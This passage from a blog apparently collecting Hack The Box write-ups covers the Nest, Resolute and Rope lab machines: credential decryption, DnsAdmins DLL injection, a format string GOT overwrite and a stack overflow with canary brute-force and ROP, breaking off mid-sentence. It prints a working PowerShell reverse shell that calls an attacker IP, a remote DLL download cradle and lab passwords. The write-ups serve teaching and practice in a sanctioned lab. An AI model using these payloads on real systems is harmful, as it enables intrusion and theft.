quite empty. It loads the config file, reads the username and decrypts the password:\nModule1.vb The DecryptString function is found in Utils.vb:\nUtils.vb — DecryptString() It calls the Decrypt function with the encryption scheme parameters. The function signature explains those value:\nUtils.vb — Decrypt() signature The code shows that the encryption used is AES256 in CBC mode:\nUtils.vb — Decrypt() — AES-CBC And that the AES key is derived from the passphrase using PBKDF2:\nUtils.vb — Decrypt() — PBKDF2 As per Microsoft documentation, Rfc2898DeriveBytes uses HMACSHA1.\nWe have all the necessary parameters to decrypt the password. We can use CyberChef as follows. First, we get the AES256 key:\nCyberChef — PBKDF2 Then we use this key to decrypt the password:\nCyberChef — AES Decrypt The credentials are then c.smith:xRxRxPANCAK3SxRxRx. We can mount his user folder:\n$ mount_smbfs //c.smith@10.10.10.178/Users/C.Smith ./Users We get the user flag in there:\n$ cat Users/user.txt\ncf71************************e987 Privilege Escalation Along with the user flag, we find a folder HQK Reporting that contains an executable file called HqkLdap.exe in a subfolder called AD Integration Module. We get as well a strange empty file called Debug Mode Password.txt:\nUsers/C.Smith/HQK Reporting The @ sign next to the permissions indicates that the file has extended attributes. We can use ls -l@ to list the file attributes, and xattr -l to list the attributes and values:\nfile extended attributes On Windows, this is known as an Alternate Data Stream (ADS). We can list the streams with _Get-Item -Path %file% -Stream *_ and retrieve the content of a stream with _Get-Content -Path %file% -Stream %name%_. I found out after posting that Microsoft created ADS to support Mac HFS streams and allow Mac users to store files on Windows shares. This is the reason why we were able to use native commands on macOS to extract this data. This wouldn’t have been possible on ext4 partitions for instance: Source: MCITP: Microsoft Windows Vista Desktop Support Consumer Study Guide: Exam 70–623 Now that we have the debug password, we can resume the exploration of the HQK Reporting Service. Once the debug mode activated we have access to more commands:\nDEBUG mode enabled SERVICES and SESSION just show information about the running process and session. The only useful information is the current folder. We start in C:\\Program Files\\HQK\\ALL QUERIES. We can change directories with SETDIR and find HqkLdap.exe (that we retrieved previously) and Ldap.conf in C:\\Program Files\\HQK\\LDAP. We can read the config file with SHOWQUERY:\nC:\\Program Files\\HQK\\LDAP\\Ldap.conf This looks again like an encrypted password, this time for the Administrator account. We can probably decrypt it by analyzing HqkLdap.exe.\nThe executable is a .NET PE32 file:\n$ file HqkLdap.exe\nHqkLdap.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows We can decompile the code with tools like dotPeek. And it is clear that the encryption scheme is exactly the same as the one in RU Scanner:\nCR.cs — DS() CR.cs — RD() Back to CyberChef for the decryption. We first get the AES256 key:\nCyberChef — PBKDF2 Then decode the encrypted password and decrypt it:\n$ echo \u0026quot;yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=\u0026quot; | base64 -D | xxd -p\ncb212ad14bef86adae40e7161bca5e2e879141e86a8a9fdf29d786fe48c455be CyberChef — AES Decrypt With the Administrator password. we can use psexec to get a shell and the root flag:\nroot flag Conclusion This was an easy box but more in the CTF style in my opinion. The only difficulty was to find out the hidden debug password.\nHere are some takeaways:\n always enforce SMB authentication, disable SMBv1, enable SMB signing and encryption if possible, enforce a strong password policy, review access rights periodically and grant them according to need-to-know and least privilege principles. Resources [1] PBKDF2\nhttps://en.wikipedia.org/wiki/PBKDF2\nhttps://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.rfc2898derivebytes?view=netframework-4.8\n[2] CyberChef\nhttps://gchq.github.io/CyberChef/\n[3] Alternate Data Streams\nhttps://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/\n[4] dotPeek .NET decompiler\nhttps://www.jetbrains.com/decompiler/\n","description":"OS: Windows | Level: Easy | Creators: VbScrub | Released: January 25th, 2020 | Retired: June 5th, 2020 | Difficulty: 5.2/10 | Appreciation: 4/5","id":9,"tag":"xattr ; ads ; vb.net ; aes-cbc ; pbkdf2","title":"Hack The Box :: Nest","type":"posts","url":"https://noobintheshell.com/posts/htb_nest/"},{"content":" Resolute is a Medium Windows box created by egre55. It was released on December 7th, 2019 and retired on May 30th, 2020. The users rated the difficulty of this box 4.8/10 and gave it an appreciation score of 4.7/5.\nResolute Info Card TL;DR We can bind anonymously to a Windows 2016 Active Directory where we find a comment in a user object that contains the default password used when creating new users. We do a Password Spraying and find that the password works for the user melanie. As the user is as well part of the Remote Management Users, we can log in through WinRM and grab the user flag. The user ryan is part of the same group plus the DnsAdmins group which has some known escalation path to SYSTEM. We find a hidden Powershell transcript file that leaks his password. We escalate privileges by injecting a malicious DLL into the DNS service.\nReconnaissance \u0026amp; Enumeration Open Ports An NMAP scan shows the following (partial) output:\n$ sudo nmap -sS -sV -p- 10.10.10.169 PORT STATE  SERVICE VERSION 53/tcp open domain? 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-05-27 19:50:22Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn  Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK) 464/tcp open kpasswd5? 593/tcp open ncacn_http  Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp  open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing [\u0026hellip;] We discover:\n the common open ports in a Windows Domain Controller. The domain name is megabank.local, WinRM management service over HTTP on port 5985. LDAP discovery We can start to list the domain users with GetADUsers.py from Impacket:\nGetADUsers.py -all -dc-ip 10.10.10.169 megabank.local/ We get results, which means that the Active Directory (AD) instance allows anonymous binding. The list is pretty long and only the Administrator account has previously logged in.\nWe can explore the AD with JXplorer and the following configuration:\nJXplorer configuration We retrieve the following information:\n the domain controller FQDN: Resolute.megabank.local which is a Windows Server 2016 Standard, a server MS02.megabank.local as well a Windows Server 2016 Standard, a security group Contractors that is member of the groups DnsAdmins and Remote Management Users. The user ryan is part of this group and can, therefore, log in through WinRM and manage the DNS service, the user melanie is as well part of the Remote Management Users group. Gaining Access Without any credentials, but with a list of user accounts, we can try AS-REP Roasting. This attack is explained in detail in this blog post. To make it short, if a user is configured to not require Kerberos pre-authentication, anyone can send a request (AS_REQ) to the KDC and receive a response (AS_REP). The response contains an encrypted chunk of data related to that user that can be cracked offline to retrieve the user password. This can be automatized with GetNPUsers.py, another Impacket tool:\nGetNPUsers.py megabank.local/ -usersfile users.txt -dc-ip 10.10.10.169 This does not leak anything…\nGoing back to AD enumeration, we find the following comment in marko user object:\nAccount created. Password set to Welcome123! It is not marko password though. Let’s do some Password Spraying to check if this default password was set to another user:\ncrackmapexec smb 10.10.10.169 -u users.txt -p ‘Welcome123!’ And there we have a hit! As melanie is part of the group Remote Management Users, we use Evil-WinRM to log in and grab the user flag:\nevil-winrm -i 10.10.10.169 -u melanie -p Welcome123! Local Reconnaissance \u0026amp; Enumeration As there are known privilege escalation methods with users in the DnsAdmins group, we will try to move laterally to the user ryan.\nWe find an uncommon hidden folder PSTranscripts in the root folder:\nls -h / This folder contains another hidden folder 20191203 which contain a hidden file PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt.\nPrivilege Escalation User pivoting We can retrieve this text file with the download command of Evil-WinRM. This file happens to be a Windows PowerShell transcript, a recorded Powershell session to text. This can be achieved with the Start-Transcript cmdlet.\nAs we can read in the header, this transcript has been generated by the user ryan:\n**********************\nWindows PowerShell transcript start\nStart time: 20191203063201\nUsername: **MEGABANK\\ryan**\nRunAs User: MEGABANK\\ryan\nMachine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)\nHost Application: C:\\Windows\\system32\\wsmprovhost.exe -Embedding\nProcess ID: 2800\nPSVersion: 5.1.14393.2273\nPSEdition: Desktop\nPSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273\nBuildVersion: 10.0.14393.2273\nCLRVersion: 4.0.30319.42000\nWSManStackVersion: 3.0\nPSRemotingProtocolVersion: 2.3\nSerializationVersion: 1.1.0.1\n********************** Below that, we see the commands that have been recorded and one of them is:\nname=”Command”; value=”cmd /c net use X: \\\\fs01\\backups ryan Serv3r4Admin4cc123! which leaks ryan password. As he is as well part of the Remote Management Users group, we can kill melanie session and switch to ryan.\nRoot escalation We find a note.txt file on ryan desktop. It contains:\nEmail to team:\n- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute\n As said before, there is a known way from users in the DnsAdmins group to SYSTEM. This leverages DNS plugin DLL to inject a malicious payload. The attack is described in this article and we will mainly be paraphrasing it.\nWe first have to compile a DNS plugin DLL. We will use the skeleton code found here. We open the project in Visual Studio Community 2019 and simply add a system call in the DnsPluginInitialize function. The first payload will be a simple ping home:\nWin32Project1.cpp We compile the DLL and upload it on the box by serving it through a local HTTP listener:\n*Evil-WinRM* PS C:\\tmp\u0026gt; IEX (New-Object Net.WebClient).DownloadFile('http://10.10.14.94/dnsinject.dll', 'c:\\tmp\\dnsinject.dll') We test that the payload works with rundll32.exe:\n*Evil-WinRM* PS C:\\tmp\u0026gt; rundll32.exe .\\dnsinject.dll,DnsPluginInitialize It works! The next step is to inject the DLL in the DNS service. This is accomplished with the DNS management tool dnscmd:\ndnscmd Resolute /config /serverlevelplugindll ‘c:\\tmp\\dnsinject.dll’ Seems successful. Let’s verify the DNS registry key:\nGet-ChildItem HKLM:\\SYSTEM\\CurrentControlSet\\Services\\DNS Now we only need to restart the DNS service to trig our payload:\n*Evil-WinRM* PS C:\\tmp\u0026gt; sc.exe stop dns\n*Evil-WinRM* PS C:\\tmp\u0026gt; sc.exe start dns But…nothing! And the registry parameter disappeared. This must be due to what was mentioned in the note.txt. Let’s do it in one go:\n*Evil-WinRM* PS C:\\tmp\u0026gt; dnscmd.exe Resolute /config /ServerLevelPluginDll c:\\tmp\\dnsinject.dll;sc.exe stop dns;sc.exe start dns And we get our ping once again. We can now replace the command with a reverse shell payload. We are going to use a Nishang reverse Powershell:\n$client = New-Object System.Net.Sockets.TCPClient('10.10.14.94',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2\u0026gt;\u0026amp;1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '\u0026gt; ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() If we run it as is from the command line, it works perfectly. However, from our DLL, we will need to launch it with the powershell -c command and unfortunately, this triggers the antivirus:\nreverse Powershell flagged by antivirus Encoding the payload with base64 does still trigger the antivirus. What about a TCP bind shell? We are again using a Nishang payload. Let’s encode it to avoid messing with special characters:\nbin Powershell not flagged by antivirus And this works like a charm! Let’s replace our ping command in our DLL with our encoded payload:\nWin32Project1.cpp with bind shell payload We rebuild the DLL, redo the whole steps to inject it into the DNS service and fire it to get the root flag:\nroot flag Conclusion This was an enjoyable box with a new path to SYSTEM for me. The privilege escalation was well documented on the web so there were no particular difficulties here.\nAs usual, here are some takeaways:\n disable Active Directory anonymous binding and avoid using objects attributes to store credentials and other secrets, on Domain Controllers, closely monitor any DNS service action, dnscmd calls and DNS setting changes in the registry…particularly the ServerLevelPluginDll value. Resources [1] Impacket collection scripts\nhttps://github.com/SecureAuthCorp/impacket\n[2] JXplorer\nhttp://jxplorer.org/\n[3] AS-REP Roasting\nhttps://www.harmj0y.net/blog/activedirectory/roasting-as-reps/\n[4] Password Spraying\nhttps://doubleoctopus.com/security-wiki/threats-and-tools/password-spraying/\n[5] Evil-WinRM\nhttps://github.com/Hackplayers/evil-winrm\n[6] Start-Transcript cmdlet\nhttps://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.host/start-transcript?view=powershell-7\n[7] DNS plugin DLL injection\nhttps://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise\nhttps://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html\nhttps://github.com/dim0x69/dns-exe-persistance\n[8] Visual Studio Community 2019\nhttps://visualstudio.microsoft.com/vs/community/\n[9] Nishang reverse Powershell\nhttps://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1\n[10] Nishang bind shell\nhttps://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLineBind.ps1\n","description":"OS: Windows | Level: Medium | Creators: egre55 | Released: December 7th, 2019 | Retired: May 30th, 2020 | Difficulty: 4.8/10 | Appreciation: 4.7/5","id":10,"tag":"ldap_anonymous_bind ; powershell_transcript ; dnsplugin_dll_injection","title":"Hack The Box :: Resolute","type":"posts","url":"https://noobintheshell.com/posts/htb_resolute/"},{"content":" Rope is an Insane Linux box created by R4J. It was released on August 3rd, 2019 and retired on May 23rd, 2020. The users rated the box difficulty 7.9/10 and gave it an appreciation score of 4.6/5.\nRope info card TL;DR We access a dummy HTML page that contains an Arbitrary File Read vulnerability that we use to retrieve the web server binary. It happens to be a modified version of tiny-web-server. With static and dynamic binary analysis, we find and exploit a Format String vulnerability and use it to upload our SSH public-key in john home folder to have SSH access. We are helped by the very first vulnerability to read /proc/self/map and retrieve the binary and Libc base addresses. john is a sudoer and can run a custom binary readlogs as r4j. One of the shared libraries used by the binary is world-writable. We replace the existing one with our own library that spawns a shell as r4j to get the user flag. An internal service runs as root and listens on port 1337. We grab once again the binary for analysis. We spot a Stack Buffer Overflow (BOF). We bypass the canary, NX and ASLR/PIE to get a shell as root and grab the final flag. This time we can leak a Libc address but we retrieve the binary base address from /var/log/kern.log.\nA user on Discord reported an error in my write-up. What I mentioned as a Local File Inclusion (LFI) is in fact an Arbitrary File Read/Disclosure. The difference being that an LFI includes a file as an executable script. Here we can only read the content of a file. Thanks pql for your review! Reconnaissance \u0026amp; Enumeration Open Ports An NMAP scan shows the following (partial) output:\n$ sudo nmap -sS -sV 10.10.10.148\n PORT STATE  SERVICE  VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 9999/tcp  open abyss? We discover:\n the usual OpenSSH 7.6p1 on the default port, a service running on port 9999 that is not recognized but that is a simple web server. Web discovery The website shows a login page. However, this is a dummy static HTML page:\nwebsite landing page A folder/file discovery only shows a basic file structure, however, a Nikto scan outputs more interesting stuff:\n$ nikto --host http://10.10.10.148:9999\n[\u0026hellip;]\n+ Server banner has changed from '' to 'simple http server' which may suggest a WAF, load balancer or proxy is in place\n[\u0026hellip;]\n+ ///etc/passwd: The server install allows reading of any system file by adding an extra '/' to the URL.\n[\u0026hellip;] There is an Arbitrary File Read vulnerability that we can use to read files with the service account access rights:\narbitrary file read By browsing the server’s files, we come across the server binary called httpserver in /opt/www that we can download for analysis:\nwebserver binary Let’s grab as well a the OS information:\n/etc/os-release Gaining Access The binary is 32-bit and not stripped, which may facilitate the analysis:\n$ file httpserver\nhttpserver: ELF 32-bit LSB shared object Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=e4e105bd11d096b41b365fa5c0429788f2dd73c3, not stripped We will be using both static analysis with Ghidra and dynamic analysis on an Ubuntu 18.04.3 LTS box with pwndbg.\nStatic Analysis We load our binary in Ghidra and start with the main function. The main function is quite basic and after some data initialization, it starts a listener and loops infinitely to accept and process user requests:\nmain function snippet The process function forks the process then parses the user request. If a file is requested, it is displayed with serve_static and if it is a directory, it is listed with handle_directory_request. Finally, the access is logged on the server-side with log_access:\nprocess function snippet We won’t go deeper into the analysis because when we look at the function’s names and we do a quick internet search, we find out that this is not a custom code but has been borrowed from tiny-web-server. We now have the original source code that facilitates the analysis even more.\nThe last version of the code is 7 years old and was not meant to be used in production. Its main use is as a “lightweight file browser” and it was developed with no security checks:\ntiny-web-server readme We find as well a POC for a Buffer Overflow. The function url_decode does not check some buffer size before copying the file name:\nBoF POC description However, when looking at the decompiled code, we see that this has been patched. The buffer is now 2048 bytes big:\nBOF patch This buffer is then passed as argument to parse_request and then to url_decode. What has been patched in fact is the http_request structure:\ntiny.c snippet Next step, compare the original source code with the Ghidra decompiled code. We seen that another change has been performed, this time in the log_access function and this introduced a new vulnerability:\nlog_access function change 1 This change introduced a Format String vulnerability. The printf function takes a user-controlled variable (the requested filename) as the only argument. If we request a filename like %x (a format string), as there is no second argument to the function, a value of the stack will be read instead.\nIt is time to switch to dynamic analysis.\nDynamic Analysis On our Ubuntu box, the first thing we can check is if the binary has been compiled with hardening options with checksec from pwntools:\nchecksec There are quite some protections:\n Partial RELRO sets the .got section as read-only, however, the section .got.plt (PLT-dependent GOT) stays writable. You can find here a good explanation of those different binary sections, The Stack Canary prevents stack buffer overflows by initializing a random value (canary) and pushing it on the stack when we enter a function. Prior to the function return, the canary is checked and if it has been modified (by a buffer overflow), the program aborts, NX sets the stack as non-executable, PIE, or Position Independent Executable, loads the binary and all its dependencies at a random address in memory at each restart. For the rest of this write-up, I will be using GOT to refer to the PLT-dependent GOT. Let’s run the binary and see how it behaves when we use a format string as filename:\nformat string vulnerability We can see that we can fool the function printf in believing it has multiple parameters that will be picked from the stack. If we continue reading the stack value, we will start seeing our payload (we add 4 leading A to find it more easily):\nfinding payload on the stack We can see our As (0x41414141) followed by our repeated pattern '%x ' (0x207825). Format strings permit as well to select a specific argument. For instance printf(\u0026quot;% 3$i\u0026quot;, 1, 2, 3) will print the 3rd argument 3. If we count the stack values, we see that our payload is at offset 53 on the stack. Therefore, we can simply print our As on the stack with %53$x:\nformat specifier How is this useful to us? Well, the beauty of format strings is that we can not only read values on the stack, but we can as well write at any address of the binary as long as the section is writable. How? With the %n specifier.\nIf we take our previous payload and simply replace the %x with %n, it will write the number of bytes read so far (our 4 As) at the address 0x41414141. As we control this address value, we can write anywhere. Another feature of format strings is that we can use padding to write big numbers of characters at once. For instance, %1000x will write 1000 characters so AAAA%1000x%53$n will write 0x3ec (1000+4) at 0x41414141.\nNow if we want to write a binary address that looks like 0x87654321 we need to write 2'271'560'481 which is quite a lot! We can use yet another format string feature to write this address in 2 times. We will first write 0x4321 (17185) characters to the lower 2 bytes of the address with the specifier %hn and then write 0x8765 (34661) characters to the higher 2 bytes with the same specifier. We can even break this into 4 writes with the specifier %hhn that writes only 1 byte at a time. Such payload would look like:\nAAAAAAAAC%17177x%53$hn%17476x%54$hn We first add the 2 addresses where we want to write 0x41414141 (AAAA) for the lower 2 bytes and 0x41414141+2 (CAAA) for the higher 2 bytes. Then as we already wrote 8 bytes, we need to adjust the number of characters to write at 0x41414141 17185 — 8 = 17177 and the same at 0x4141414C 34661 — 17185 = 17476. Finally, we need to increase the stack offset by one for the second write.\nYou can find some good resources on format string vulnerabilities on Internet and Youtube. I recommend watching LiveOverflow \u0026amp; Gynvael videos [5]. Local Exploitation w/o randomization Now that we have a fairly good idea of how to exploit this Format String vulnerability, we need to decide what we write and where. As the binary uses Partial RELRO, we could rewrite the entry of a function in the GOT like puts (which is the next function called after printf) to point on any function of the Libc like system. Let’s analyze this in a debugger.\nLet’s download the version of the 32-bit version of the Libc used on the server first so we work with the right offsets from the start:\n$ wget http://10.10.10.148:9999//lib32/libc-2.27.so -O ./libc.so.6 To ease the debugging, we can deactivate the binary randomization first (ASLR + PIE) so our breakpoints will always be at the same address:\n$ echo \u0026quot;0\u0026quot; | sudo tee /proc/sys/kernel/randomize_va_space Then we launch httpserver with the server Libc version, get its PID and attach the debugger to it:\n$ LD_PRELOAD=./libc.so.6 ./httpserver \u0026amp;\n$ ps -aux | grep httpserver | head -n 1\nnoob 6028 0.0 0.0 2380 492 pts/1 S+ 21:42 0:00 ./httpserver\n$ sudo gdb -p 6028 // do it from another tab We can now get the GOT entry of puts and the address of system in the Libc used:\nputs and system addresses All the exploit scripts of this write-up will be using Python2 We can now build an intermediary exploit to see how all this behaves:\n Back on pwngdb, let’s set a breakpoint on the vulnerable printf and resume the process:\nlog_access disassembly snippet pwndbg\u0026gt; b *0x565570ec\nBreakpoint 1 at 0x565570ec\npwndbg\u0026gt; continue\nContinuing Fire the exploit and verify that the GOT entry of puts has been rewritten with the address of system after the printf call:\n\nGood, it worked! Now, when we detach our debugger, a system call is performed server-side…and even more than one:\nsystem calls This is normal as there are 3 calls to puts done with different arguments:\nlog_access function change 2 The first system call does nothing. The second one executes /bin/sh -c request method: and returns an error, the third one executes /bin/sh -c GET which is a valid command and shows the command help. By the way, we can see that the http_request structure has been modified to add the HTTP verb.\nAs we have control over the HTTP verb and that there are not checks, we can try to execute other commands by calling curl instead of using the requests lib (that converts the custom verb we use to uppercase). For instance, if we call curl with the method id, we get:\nCode execution Using payloads with spaces does not work but this can be bypassed by replacing spaces with ${IFS}. With a verb cat${IFS}/etc/passwd, we get:\nCode execution 2 Remote exploitation w/ randomization Now that we have code execution without ASLR and PIE, it is time to think about how to get the address of system in the Libc and the GOT entry of puts with randomization on the remote server.\nWe can get the offset of system in the server’s Libc by querying the symbols_:_\nsystem offset in libc And for the offset of the puts GOT entry, we can query the relocation table of the binary:\nputs GOT entry offset At this point, we only miss the dynamic base addresses of the binary and of the Libc. It took quite some time to realize, but we can use the server’s feature (or vulnerability?) that we discovered initially and that allows us to read files of the server to get the information we need.\nThe /proc/[pid]/maps file contains the mapped memory regions and access permissions of a process. As we do not know the pid of the running binary, we can read /proc/self/maps that resolves to the current process maps file:\n/proc/self folder Its size is 0 and this is normal as it is only a pointer to where the actual process information resides (see [7]). It’s nevertheless readable from a shell. However, the web server relies by default on this value (reported by fstat()) to output the content and therefore shows an empty file.\nBack to the original source code. The http_request structure has 2 other members: offset and end. They are used in parse_request() to handle the Range HTTP header. They default both to 0 and end is updated with the size reported by fstat(). However, if the Range header is set, offset and end will be updated accordingly and will take over the value reported by fstat():\nparse_request — Range header usage Finally, serve_static() outputs the file using sendfile() and uses those 2 values to know how many bytes need to be shown:\nserve_static — output file We can test this with a curl call:\nhttpserver /proc/self/maps We now have all the ingredients for the final payload that will do the following:\n read the process self maps to get the binary and Libc base addresses, compute the address of the GOT entry for puts and of system in the Libc, use curl to overwrite the puts GOT entry with the address of system to execute our payload. I tried many different reverse shell payloads and none worked. The best I could get was a connection back but with no output. In the end, what worked was to copy an SSH public-key in john home folder. This is the whole exploit:\n We just need to start our HTTP listener to serve the SSH public-key and then launch the exploit:\nformat string exploit We now have a shell on the server! But we are not yet halfway through the box!\nLocal Reconnaissance \u0026amp; Enumeration The first thing to notice is that the box responds very slowly and it seems on purpose.\nThen we see that the user john is a sudoer and can run a binary as the user r4j:\nsudo -l This binary reads the 10 last lines of /var/log/auth.log:\n/usr/bin/readlogs We copy the binary to our box to analyze it with Ghidra. There is only 1 call to printlog() function:\nreadlogs main function This function is imported from the library liblog.so that we retrieve as well:\nreadlogs dynamic libraries Again, the code is pretty simple:\nliblog.so printlog function There is nothing to exploit in the binary itself. However, when we look at the library access rights, we see that it os world-writable and that we can actually rewrite it with our own library:\nliblog.so access rights We can not simply write our library and load it with LD_PRELOAD as it is not allowed with sudo by default. By enumerating more, we find as well a local service listening on port 1337:\nlistening ports We can query it with Netcat to send basic messages to the admin:\nadmin contact service 1 In the process list, we see it runs with root privileges:\nadmin contact service 2 Privilege Escalation User pivoting We can spawn a shell as r4j through the readlogs binary by creating a liblog.so library. We can use the following code that spawns a shell:\n We compile the library, copy it in place of the existing one and execute readlogs to get the user flag\nuser pivoting We can eventually copy our SSH public-key in r4j home folder too.\nGlad to see that not everything is insane in this box :)\nRoot escalation Let’s retrieve the /opt/support/contact binary for analysis (user r4j has access as he is in the adm group). The binary is 64-bit and symbols are stripped:\n$ file /opt/support/contact\n/opt/support/contact: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cc3b330cabc203d0d813e3114f1515b044a1fd4f, stripped We can as well retrieve the server’s Libc for further usage:\n$ ldd /opt/support/contact\nlinux-vdso.so.1 (0x00007fff27556000)\nlibc.so.6 =\u0026gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2de1c68000)\n/lib64/ld-linux-x86–64.so.2 (0x00007f2de2059000) We will be using a similar analysis strategy as for httpserver.\nStatic Analysis In Ghidra, we see that the code is pretty short and straightforward. There are 4 main functions (I have renamed them for better readability). The main() function sets up the listener and starts accepting client connections then forks:\ncontact — main function The forkProcess() function creates a child process to interact with the client. It outputs some text and reads the user input:\ncontact — forkProcess function The last piece is the readInput() function that…well…reads the user input. And this is where lies a vulnerability:\ncontact — readInput function Up to 1024 bytes are read from the user input and stored in a 56 byte long buffer…which leads to a Stack Buffer Overflow (BOF) ¯_(ツ)_/¯\nIf you want to understand the theory behind Stack BOF, you can watch this great Youtube video. Dynamic Analysis Back to our Ubuntu box. Let’s first check what are the binary protections:\nchecksec We see the same protections as httpserver. However, to exploit a Stack BOF in this situation, we need to bypass first the canary, then NX and PIE.\nLet’s test the binary:\nbinary test As long as we input 56 characters or less, everything goes well and we get the Done. message. But if we send more, we overwrite the canary on the stack and we get the error:\n*** stack smashing detected *** We can attach our debugger to the process (as with httpserver) to have a view on that. However, as there are no symbols, we first need to get the offset of the recv call and add it to the binary base address to set our breakpoint:\n$ objdump -d contact | grep '\u0026lt;recv@plt\u0026gt;'\n0000000000001030 \u0026lt;recv@plt\u0026gt;:\n15c7: e8 64 fa ff ff callq 1030 \u0026lt;recv@plt\u0026gt; In pwngdb, once attached, we can use vmmap to read the base address:\nbinary base address So we can set a breakpoint at 0x555555554000+0x15c7 = 0x5555555555c7, resume the execution and fire our Python payload. Once we execute the recv and look at the stack:\ncanary overwrite We see that the least significant byte of the canary has been overwritten with our payload a. There are 2 generic ways to bypass a stack canary:\n another vulnerability like a format string can leak it, as the canary is on the stack, we brute-force it byte by byte. The brute-force works only if the vulnerability is in a forked child process as this does not make the parent crash and as the canary is inherited from the parent, it never changes. Which is totally the case here. Of course, if the parent crashes, the canary is reset. Additional information about bypassing canaries at [9].\nDuring the brute-force, to know if we have found the right byte, we simply check if we receive the Done. message, proof that we haven’t crashed the child process.\nAt this point, the payload will look like this:\n[ garbage (56B) | canary (8B) | rest of payload ] We can continue the analysis to see how the rest of the payload affects the flow. As we have not leaked the canary yet, we can patch it on the fly for the check to pass. Let’s send the payload above like this:\n$ python3 -c 'print(\u0026quot;a\u0026quot;*56 + \u0026quot;b\u0026quot;*8 + \u0026quot;abcdefghijklmnopqrstuvwxyz\u0026quot;, end=\u0026quot;\u0026quot;)' | nc 127.0.0.1 1337 Once the recv call is done, the canary is checked:\ncanary check We can patch JE to JNE:\npwndbg\u0026gt; x 0x5555555555da\n0x5555555555da: 0x8fe80574 \u0026lt;- 0x74 is JE opcode\npwndbg\u0026gt; set {int}0x5555555555da=0x8fe80575 \u0026lt;- 0x75 is JNE opcode Once the check is passed, we see that the return address points back to our payload, 9th bytes after the canary:\nreturn address We have control over the RIP! We can update our payload too:\n[ garbage (56B) | canary (8B) | garbage (8B) | rest of payload ] What will be the second part of the payload? We cannot return-to-shellcode as the stack is non-executable (NX). We could return-to-libc to execute a system('/bin/sh') call but we need to first leak a Libc address as ASLR randomizes its address. Moreover, to interact with a shell in our configuration we need to redirect _I/O_s through the file descriptor used by the binary. Fortunately, they are static and given when we launch the binary:\nfile descriptor To leak the Libc address, we could use the available write function to leak this address through the GOT. Let’s leak for instance the pointer to send. We will need therefore to leak the binary base address as well to call write.\nThis will involve using a Return Oriented Programming (ROP) chain twice. Once to leak the Libc address and another one for the return-to-libc:\n[ garbage (56B) | canary (8B) | garbage (8B) | ROP_leak_libc ]\n[ garbage (56B) | canary (8B) | garbage (8B) | ROP_system_shell ] I won’t go into the theory of Return Oriented Programming here. You can find some resources in [10] if needed. There are quite some similarities with my previous write-up on Patents here. The two ROP chains will be quite similar. Local Exploitation w/o randomization Let’s disable again ASLR locally:\n$ echo \u0026quot;0\u0026quot; | sudo tee /proc/sys/kernel/randomize_va_space canary bypass:\nLet’s start with the canary brute-force code. It is pretty straight-forward. We add one byte to our first 56 bytes of garbage and try all possible values until we find the byte that returns the Done. message which means that we have found the first byte of the canary. We redo that until we have found the 8 bytes of the canary:\n The output will look like:\ncanary brute-force This code works locally as well as to attack the service on the server and is not ASLR dependent.\nlibc leak:\nNext step is to leak a Libc address by calling write. The call should look like:\n1 write(SOCKFD, got.send, 8) where SOCKFD is the file descriptor used by the child process (4), got.send is the address of send in the GOT, and 8 is the number of bytes we want to write. As per x86–64 calling convention, the first parameter is passed through the RDI register, the second through RSI and the 3rd through RDX. Therefore, in order to build our ROP chain, __ we need to find 3 gadgets to pop those values in the right registers. The chain will look like:\npop rdi; ret\nSOCKFD\npop rsi; ret\ngot.send\npop rdx; ret\ncall write Let’s get all those offsets. To search for the ROP gadgets, we can use ROPgadget:\nROP chain offsets We have not found a pop rsi; ret gadget, instead, we got a pop rsi; pop r15; ret which means that we need to add a dummy 8 bytes value that will be popped in the r15 register…but it will not be used.\nWe have now all the offsets, but we still do not know the binary base address lat this point. With ASLR disabled, this one is constant and is 0x555555554000. We can hardcode it for the time being. We can add the following code to our exploit:\n We can launch the binary with the 64-bit Libc version we downloaded from the server:\n$ LD_PRELOAD=./libc.so.6 ./contact And run our new exploit version. As we already got the canary, we can hardcode it (as long as we haven't restarted the service). The output is:\nlibc leak system shell:\nWe will construct this ROP chain differently, by using pwntools magic. The important thing here is to first redirect stdin, stdout and stderr though the child process file descriptor so we can interact with the shell. This can be easily achieved with the dup2 function. This function takes 2 file descriptors as arguments:\n1 int dup2(int 